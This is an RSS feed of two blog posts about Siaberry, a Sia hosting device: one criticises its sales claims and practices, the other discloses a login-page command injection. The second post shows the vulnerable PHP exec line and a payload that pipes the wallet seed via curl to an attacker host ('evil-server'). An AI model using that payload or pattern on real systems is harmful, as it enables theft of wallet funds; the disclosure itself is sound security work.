<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Space Duck</title>
    <description>Decentralization and its Disk Contents
</description>
    <link>https://spaceduck.mtlynch.io/</link>
    <atom:link href="https://spaceduck.mtlynch.io/feed.xml" rel="self" type="application/rss+xml" />
    
      <item>
        <title>The Many Other Reasons to Avoid Siaberry</title>
        <description>&lt;p&gt;This post is the second half of my two-post series on Siaberry, a seller of hardware and software tools for earning money on the Sia network. Yesterday’s post discussed several &lt;a href=&quot;/siaberry-1&quot;&gt;vulnerabilities in Siaberry’s web app&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;In today’s post, I’m going to highlight Siaberry’s questionable sales tactics and operational practices.&lt;/p&gt;

&lt;h1 id=&quot;you-wont-make-a-profit-with-siaberry&quot;&gt;You won’t make a profit with Siaberry&lt;/h1&gt;

&lt;p&gt;My biggest issue with Siaberry is that they advertise their product as a way to make money when customers clearly won’t.&lt;/p&gt;

&lt;p&gt;Anyone familiar with Sia can tell you that Sia hosts barely earn money. If people have spare hardware lying around, &lt;em&gt;maybe&lt;/em&gt; they can earn a few dollars per month by hosting with Sia. Siaberry sells brand new hardware with a price tag so high that it’s a near-certainty that their customers won’t make a profit.&lt;/p&gt;

&lt;p&gt;Longtime community contributor &lt;a href=&quot;https://www.reddit.com/user/Starbuckz8&quot;&gt;Starbuckz8&lt;/a&gt; regularly shares details about the revenue he earns as a Sia host. In his &lt;a href=&quot;https://redd.it/819t29&quot;&gt;most recent update&lt;/a&gt;, he earned 11 SC (~$0.23) per day on a 3.7 TB server. Siaberry sells an 8 TB kit for $500. Even under the generous assumption that the 8 TB Siaberry would earn double Starbucks8’s revenue, it would take 3 years just to break even with the hardware investment. The profitability becomes even more dire when you account for electricity costs.&lt;/p&gt;

&lt;p&gt;However, Siaberry assures customers that they’ll make a profit if they buy a Siaberry. You can see this clearly in Siaberry’s recent tech talk, which is basically a 20-minute sales pitch from their CEO, Sebuh Honarchian.&lt;/p&gt;

&lt;p&gt;Over the course of the video, Sebuh misstates several key facts about Sia or omits relevant details to give the audience the impression that they can cash in by purchasing Siaberry devices.&lt;/p&gt;

&lt;iframe src=&quot;https://www.facebook.com/plugins/video.php?href=https%3A%2F%2Fwww.facebook.com%2Fsiaberryinc%2Fvideos%2F175069013136711%2F&amp;amp;show_text=0&amp;amp;width=282&quot; width=&quot;300&quot; height=&quot;531&quot; style=&quot;border:none;overflow:hidden&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;

&lt;blockquote&gt;
  &lt;p&gt;3:30 - The data usage is pretty rapid. The Siacoin users have been increasing the amount of data that they’re putting onto the network every day. So it’s kind of like going like this [mimes a steep curve]… the amount of data usage. And it’s constantly getting faster and faster. So there’s going to be a demand for Siaberry in the near future and even now.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At the time of this talk, storage demand was growing, but not as dramatically as Sebuh implied. Usage of the Sia network grew from 74 TB to 221 TB in six months. This represented 16% growth rate month-over-month, which was healthy but hardly the exponential growth rocket ship that Sebuh painted.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/used-storage.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/used-storage.png&quot; alt=&quot;SiaStats chart of Sia usage&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/used-storage.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/672/used-storage.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/756/used-storage.png 756w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/used-storage.png 788w&quot; sizes=&quot;700px&quot; class=&quot; &quot; style=&quot;max-width:700px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Tellingly, Sebuh neglected to mention that Sia’s total capacity at the time was 4 PB, meaning that a staggering 95% of Sia’s existing host capacity was sitting unsold:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/used-percentage.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/used-percentage.png&quot; alt=&quot;SiaStats chart of Sia usage percentage&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/used-percentage.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/672/used-percentage.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/756/used-percentage.png 756w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/used-percentage.png 788w&quot; sizes=&quot;700px&quot; class=&quot; &quot; style=&quot;max-width:700px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Sebuh did make an argument for why customers should buy a Siaberry ahead of renter demand:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;4:00 - When you start hosting, the network doesn’t trust you because you have a age penalty, and you’re brand new on the network, nobody trusts you. So, like, after a while, you’ve been on the network online 100%, for like, three months, then your age penalty is removed. So, if you want to be making money three months from now, you have to start today.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Sebuh is correct that Sia applies an age penalty to new hosts, but the penalty reduces to zero &lt;a href=&quot;https://siawiki.tech/host/scoring_system#host_age&quot;&gt;after 41 days&lt;/a&gt;, not three months:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/age-penalties.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/age-penalties.png&quot; alt=&quot;Sia age penalties&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/age-penalties.png 372w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/age-penalties.png 582w&quot; sizes=&quot;582px&quot; class=&quot; &quot; style=&quot;max-width:582px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;10:54 - There’s 78,000 active contracts on the network right now. That means there’s 78,000 people that have signed up to use Siacoin as a storage platform.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This statement is entirely incorrect. Storage contracts are not the same as storage &lt;em&gt;users&lt;/em&gt;. Each Sia user has 50 contracts minimum, but a user’s contract count can grow to over 100.&lt;/p&gt;

&lt;p&gt;I estimate that the 78,000 active contracts represented about 1,000 Sia users. Even that figure is misleadingly high because it includes people who experimented with Sia at any point in the prior three months regardless of whether they continued to use Sia.&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;11:50 - Our goal at Siaberry Incorporated is to reach 50% of the network’s total storage. The way we’re going to do that is by launching another 895 Siaberries [&lt;em&gt;&lt;strong&gt;ed&lt;/strong&gt;: At the time, only 30 Siaberries were online&lt;/em&gt;].&lt;/p&gt;

  &lt;p&gt;If we double the size of the network, Siacoin will become more appealing for- y’know enterprise-grade clients. That’s what we really want. We want &lt;em&gt;big&lt;/em&gt; like companies like Walmart that generate like terabytes and terabytes of just receipt transactions a second.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Again, Sia’s total capacity was 4 PB. If Walmart was generating “terabytes” of data per second (a claim I was unable to verify), that’s at least 86 PB per day. If Siaberry devices doubled Sia’s network capacity to 8 PB, Sia would still be utterly irrelevant to a company like Walmart, whose storage needs are likely measured in zettabytes (millions of petabytes).&lt;/p&gt;

&lt;h1 id=&quot;234-of-hardware-in-a-500-box&quot;&gt;$234 of hardware in a $500 box&lt;/h1&gt;

&lt;p&gt;Siaberry’s flagship product is their “Siacoin Hosting Contract Harvester” kit. It’s a set of hardware parts that allows customers to build their own Siaberry hosting nodes.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/siaberry-harvester.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/siaberry-harvester.png&quot; alt=&quot;Screenshot of Siaberry harvester sales page&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/siaberry-harvester.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/672/siaberry-harvester.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/756/siaberry-harvester.png 756w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/siaberry-harvester.png 837w&quot; sizes=&quot;650px&quot; class=&quot; border&quot; style=&quot;max-width:650px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you give Siaberry $500, they’ll send you four items that you could have purchased on Amazon for less than half the price:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Item&lt;/th&gt;
      &lt;th&gt;Price&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://a.co/ixdsZGl&quot;&gt;Raspberry Pi kit&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;$54.99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://a.co/iLU6kQ8&quot;&gt;Seagate 8TB external drive&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;$ 159.99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://a.co/2HYNKSG&quot;&gt;SanDisk Ultra 16GB MicroSD card&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;$8.59&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;http://a.co/1DHM5Oy&quot;&gt;SanDisk 32 GB USB 3.0 Flash drive&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;$10.99&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;strong&gt;Total&lt;/strong&gt;&lt;/td&gt;
      &lt;td&gt;&lt;strong&gt;$234.56&lt;/strong&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;As far as I can tell, the value-add that Siaberry gives their customers in exchange for that $265.44 profit margin is:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;They put together your Raspberry Pi case for you (a process that takes about 30 seconds).&lt;/li&gt;
  &lt;li&gt;They write the (free) SiaberryOS image to the microSD card for you.&lt;/li&gt;
  &lt;li&gt;They bootstrap the USB key with the Sia blockchain, so you wait less time for it to download.&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;open-source-but-wheres-the-source&quot;&gt;Open source, but where’s the source?&lt;/h1&gt;

&lt;p&gt;SiaberryOS was released almost a year ago, on July 27th, 2017. As savvy cryptocurrency users, /r/siacoin members &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/6pzfeh/introducing_siaberryos_a_linux_operating_system/dku2biq/?st=ji4qrg5m&amp;amp;sh=cfea8152&quot;&gt;asked Siaberry to publish their source code&lt;/a&gt;. Siaberry developer Kete Tefid responded:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;I declare that SiaBerryOS &lt;em&gt;is&lt;/em&gt; open source! Exactly like its father i.e., Gentoo. Actually, it is just that I have not finished uploading the project to github.&lt;/p&gt;

  &lt;p&gt;…&lt;/p&gt;

  &lt;p&gt;Rest assured that it was being developed with being opensource in mind from the beginning. It &lt;em&gt;is&lt;/em&gt; and &lt;em&gt;will always be&lt;/em&gt;.&lt;/p&gt;

  &lt;p&gt;-Kete Tefid, Siaberry developer&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So it’s open source, just without the source?&lt;/p&gt;

&lt;p&gt;Note that Siaberry released the SiaberryOS under the &lt;a href=&quot;https://www.gnu.org/licenses/gpl-3.0.en.html&quot;&gt;GPLv3&lt;/a&gt;, which states:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that &lt;strong&gt;you receive source code or can get it if you
want it&lt;/strong&gt;, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Users returned to the thread for weeks asking Kete when he would publish the source. A month later, &lt;a href=&quot;https://www.reddit.com/r/siacoin/comments/6pzfeh/introducing_siaberryos_a_linux_operating_system/dm8thba/?st=ji4qgguu&amp;amp;sh=883932eb&quot;&gt;he replied&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;The process of creating the repository is going to take time as over months I changed files. Remember that Gentoo is a source-based, meta distribution which means you will not find the source code of most of the programs used in the Siaberry github. It will consist of a directory of ebuilds by which you can manage to replicate the project. In fact, it will just direct you how to build the OS.&lt;/p&gt;

  &lt;p&gt;-Kete Tefid, Siaberry developer&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This response doesn’t make sense. Changing the contents of a file doesn’t make it any harder to publish.&lt;/p&gt;

&lt;p&gt;Kete seems to claim that there isn’t any source to publish because building the image is just a matter of tying together existing libraries with the right commands. But this is clearly not the case, as SiaberryOS contains several built-in scripts that are custom-written for Siaberry. That means that the Siaberry team has these scripts somewhere, but has not published them.&lt;/p&gt;

&lt;p&gt;In October 2017, Siaberry published the source for the &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI&quot;&gt;Siaberry web app&lt;/a&gt; but continued to withhold the source code of the operating system itself.&lt;/p&gt;

&lt;p&gt;Siaberry’s &lt;a href=&quot;https://redd.it/809szk&quot;&gt;currently published FAQ&lt;/a&gt; includes a question about source code availability, but the answer is just more deferrals and excuses:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Q: Is SiaBerryOS open-sourced?&lt;/p&gt;

  &lt;p&gt;A: Yes, from the developer “The project has been open source from the very first beginning. It is just that I have been very busy developing it further so I have not been able to release the repository.” SiaberryOS can be found on github.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;At the time of this writing, there is nothing on the &lt;a href=&quot;https://github.com/ketetefid/SiaBerryOS&quot;&gt;SiaberryOS Github&lt;/a&gt; except a compiled image that’s two versions out of date:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/siaberry-github.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/siaberry-github.png&quot; alt=&quot;Screenshot of SiaberyOS Github page&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/siaberry-github.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/672/siaberry-github.png 672w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/756/siaberry-github.png 756w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/840/siaberry-github.png 840w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/siaberry-github.png 1007w&quot; sizes=&quot;550px&quot; class=&quot; border&quot; style=&quot;max-width:550px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;siaberry-deploys-unstable-versions-of-sia&quot;&gt;Siaberry deploys unstable versions of Sia&lt;/h1&gt;

&lt;p&gt;In the &lt;code class=&quot;highlighter-rouge&quot;&gt;#siaberry&lt;/code&gt; channel of Sia’s Discord server, Kete mentioned that instead of using official Sia releases, Siaberry blindly downloads the latest in-progress code from Sia’s source tree. I checked my Siaberry device and found a weekly cron job that replaces the OS’s copy of Sia with a newly-built binary based on whatever Siaberry finds in Sia’s &lt;code class=&quot;highlighter-rouge&quot;&gt;master&lt;/code&gt; branch on Github.&lt;/p&gt;

&lt;p&gt;This is a dangerous practice. The code in Sia’s &lt;code class=&quot;highlighter-rouge&quot;&gt;master&lt;/code&gt; branch has not gone through rigorous testing. Bugs in pre-release code could lose user funds or corrupt their data.&lt;/p&gt;

&lt;p&gt;I reported this to Siaberry on 2018-03-30. Kete claimed that because the Sia documentation includes &lt;a href=&quot;https://github.com/NebulousLabs/Sia#building-from-source&quot;&gt;instructions for building from source&lt;/a&gt;, it is, therefore, safe to deploy in-progress versions of Sia to customer devices.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/pre-release-warning.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/pre-release-warning.png&quot; alt=&quot;I warn Siaberry of the dangers of deploying unreleased Sia versions to production.&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/pre-release-warning.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/672/pre-release-warning.png 672w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/pre-release-warning.png 714w&quot; sizes=&quot;415px&quot; class=&quot; &quot; style=&quot;max-width:415px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I pointed out that even when the Sia developers invite users to test beta releases, they advise against deploying to production. Kete’s response was, “Sorry but we need official word on this. Of course, if they say so, we will change the behavior.”&lt;/p&gt;

&lt;p&gt;At that point, I looped in David Vorick, Sia’s lead developer. He confirmed to Kete that Siaberry should not deploy pre-release Sia builds to production:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/images/2018-06-12-siaberry-2/pre-release-to-prod.png&quot; class=&quot;no-push-state&quot;&gt;
  &lt;img src=&quot;/images/2018-06-12-siaberry-2/pre-release-to-prod.png&quot; alt=&quot;Sia&apos;s lead developer tells Siaberry not to release pre-release versions to prod&quot; srcset=&quot;            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/372/pre-release-to-prod.png 372w,            https://spaceduck.mtlynch.io/images/resized/2018-06-12-siaberry-2/672/pre-release-to-prod.png 672w,         https://spaceduck.mtlynch.io/images/2018-06-12-siaberry-2/pre-release-to-prod.png 723w&quot; sizes=&quot;723px&quot; class=&quot; &quot; style=&quot;max-width:723px&quot; /&gt;
&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This discussion happened more than two months ago. Siaberry still deploys the latest bleeding-edge, untested Sia code to their customers’ devices with no regard to the risks this introduces.&lt;/p&gt;

&lt;h1 id=&quot;siaberry-markets-to-the-get-rich-quick-crowd&quot;&gt;Siaberry markets to the “get-rich-quick” crowd&lt;/h1&gt;

&lt;p&gt;Siaberry’s Sales Manager, Isabelo Pasqual, recently published a video in which he makes a direct appeal to people interested in multi-level marketing schemes (also referred to as “MLM schemes” or “pyramid schemes”):&lt;/p&gt;

&lt;iframe src=&quot;https://www.facebook.com/plugins/video.php?href=https%3A%2F%2Fwww.facebook.com%2Fsiaberryinc%2Fvideos%2F176961052947507%2F&amp;amp;show_text=0&amp;amp;width=640&quot; width=&quot;640&quot; height=&quot;385&quot; style=&quot;border:none;overflow:hidden&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowtransparency=&quot;true&quot; allowfullscreen=&quot;true&quot;&gt;&lt;/iframe&gt;

&lt;blockquote&gt;
  &lt;p&gt;1:10 - For those of you who are interested in the crypto cloud mining MLMs that are so popular now, imagine this: instead of being on the 500th tier of a downline, what if you were on the top of your own upline? And then you were controlling the mining pool. So that’s something we can give you.&lt;/p&gt;

  &lt;p&gt;-Isabelo Pasqual, Siaberry Sales Manager&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To be clear, Siaberry does not use multi-level marketing. I have a hard time understanding why they’re mentioning MLMs at all.&lt;/p&gt;

&lt;p&gt;In any case, it should give you pause when a company basically says, “Hey! Are you someone who’s easily fooled by get-rich-quick schemes? Then give us your money.”&lt;/p&gt;

&lt;h1 id=&quot;final-thoughts&quot;&gt;Final thoughts&lt;/h1&gt;

&lt;p&gt;I don’t feel that Siaberry hardware or software is a good choice for any customer interested in getting involved with Sia. The quality of the software is low and substantially degrades Sia’s security and stability.&lt;/p&gt;

&lt;p&gt;The product’s strategy relies on incorrect assumptions about Sia. Either the Siaberry team is willfully deceiving their customers or they’re saying what they believe but fundamentally misunderstand the technology underlying their business.&lt;/p&gt;

&lt;p&gt;If you’re interested in getting involved with Sia through hosting, I encourage you to do your own research. Sia nodes are Internet-facing servers and require technical expertise to manage. If someone tells you that they have a Sia host device that you can simply plug in and collect Siacoin, they’re selling you snake oil.&lt;/p&gt;

&lt;p&gt;For unbiased, high-quality information about hosting on Sia, I recommend reading the guides on &lt;a href=&quot;https://siasetup.info/learn/hosting&quot;&gt;SiaSetup.info&lt;/a&gt;.&lt;/p&gt;
</description>
        <pubDate>Tue, 12 Jun 2018 00:00:00 +0000</pubDate>
        <link>https://spaceduck.mtlynch.io/siaberry-2/</link>
        <guid isPermaLink="true">https://spaceduck.mtlynch.io/siaberry-2/</guid>
      </item>
    
      <item>
        <title>Siaberry&apos;s Command Injection Vulnerability</title>
        <description>&lt;p&gt;Today, I’d like to share several interesting vulnerabilities I discovered in Siaberry, a hardware device for earning cryptocurrency.&lt;/p&gt;

&lt;p&gt;Siaberry runs on Sia, a decentralized marketplace for buying and selling data storage. The device is intended to give consumers a plug ‘n play solution to sell storage on Sia’s network, though the two teams have no formal relationship. As buyers purchase space, Siaberry earns income for its owner in the form of Sia’s utility token, Siacoin.&lt;/p&gt;

&lt;p&gt;I run a Sia node on &lt;a href=&quot;https://mtlynch.io/sia-via-docker/&quot;&gt;my Synology NAS&lt;/a&gt;, but I was drawn to Siaberry’s promise of a user-friendly web UI. I took Siaberry for a test drive, and I was blown away by how many serious issues I discovered within just a few hours.&lt;/p&gt;

&lt;h1 id=&quot;command-injection-working-exploit&quot;&gt;Command injection: working exploit&lt;/h1&gt;

&lt;p&gt;My most exciting finding was a command injection vulnerability on the login page.&lt;/p&gt;

&lt;p&gt;In the video below, I demonstrate how an attacker can extract the private key from the victim’s Sia wallet simply by entering a particular password on Siaberry’s login page:&lt;/p&gt;

&lt;iframe width=&quot;640&quot; height=&quot;385&quot; src=&quot;https://www.youtube.com/embed/eVOyDglf4vE&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; encrypted-media&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;h1 id=&quot;understanding-the-vulnerability&quot;&gt;Understanding the vulnerability&lt;/h1&gt;

&lt;p&gt;The vulnerability is so obvious that many developers and security experts could tell you exactly what the code looked like by watching the video demo above. I’ll confirm your suspicions.&lt;/p&gt;

&lt;p&gt;The problem occurred in &lt;a href=&quot;https://github.com/ketetefid/SiaBerry-WebUI/blob/f6750af815d865835c21ce4de659900c5e5e13b7/ActionPage.php#L9-L11&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ActionPage.php&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;uname&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$pass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$_POST&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;psw&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;exec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;sudo bin/checker &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$user&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$pass&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$exitcode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;That’s it. That’s the whole vulnerability.&lt;/p&gt;

&lt;p&gt;Siaberry took untrusted input directly from an HTTP POST request and immediately executed it in the shell. This was a painfully easy vulnerability to exploit.&lt;/p&gt;

&lt;h1 id=&quot;how-the-exploit-works&quot;&gt;How the exploit works&lt;/h1&gt;

&lt;p&gt;To exploit this, I created an attack server called &lt;code class=&quot;highlighter-rouge&quot;&gt;evil-server&lt;/code&gt;. From that machine, I started netcat to dump all traffic it received on port 5555. For convenience, I used a server on my local network, but the same attack would work with any server address, remote or local.&lt;/p&gt;

&lt;p&gt;I then used &lt;code class=&quot;highlighter-rouge&quot;&gt;foo&lt;/code&gt; as the username and supplied a password of &lt;code class=&quot;highlighter-rouge&quot;&gt;badpassword || curl -d &quot;$(siac wallet seeds)&quot; -X POST evil-server:5555&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;When &lt;code class=&quot;highlighter-rouge&quot;&gt;ActionPage.php&lt;/code&gt; reached its &lt;code class=&quot;highlighter-rouge&quot;&gt;exec&lt;/code&gt; line, it executed the following command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;bin/checker foo badpassword &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
  curl &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;siac wallet seeds&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST evil-server:5555
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This caused the shell to execute three different commands. The first was the command that Siaberry &lt;em&gt;meant&lt;/em&gt; to execute:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;bin/checker foo badpassword
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This returned a non-zero exit code because &lt;code class=&quot;highlighter-rouge&quot;&gt;foo&lt;/code&gt;/&lt;code class=&quot;highlighter-rouge&quot;&gt;badpassword&lt;/code&gt; was a bad username/password combination. Therefore, the shell proceeded to execute the other side of the &lt;code class=&quot;highlighter-rouge&quot;&gt;||&lt;/code&gt;, starting with the embedded command:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;siac wallet seeds
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This launched &lt;code class=&quot;highlighter-rouge&quot;&gt;siac&lt;/code&gt;, the Sia command-line interface. Those command-line parameters tell Sia to print its wallet seed to the console. The wallet seed is a 29-word passphrase that represents the wallet’s private key. Anyone who has this passphrase completely controls all funds in the victim’s wallet.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;curl &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;siac wallet seeds&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-X&lt;/span&gt; POST evil-server:5555
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Finally, the curl command made an HTTP POST request to &lt;code class=&quot;highlighter-rouge&quot;&gt;http://evil-server:5555&lt;/code&gt;, sending the Sia wallet seed as the payload. The attacker, capturing messages on port 5555, recorded the victim’s wallet seed, giving them the ability to steal all funds in the victim’s wallet.&lt;/p&gt;

&lt;h1 id=&quot;where-have-i-heard-this-before&quot;&gt;Where have I heard this before?&lt;/h1&gt;

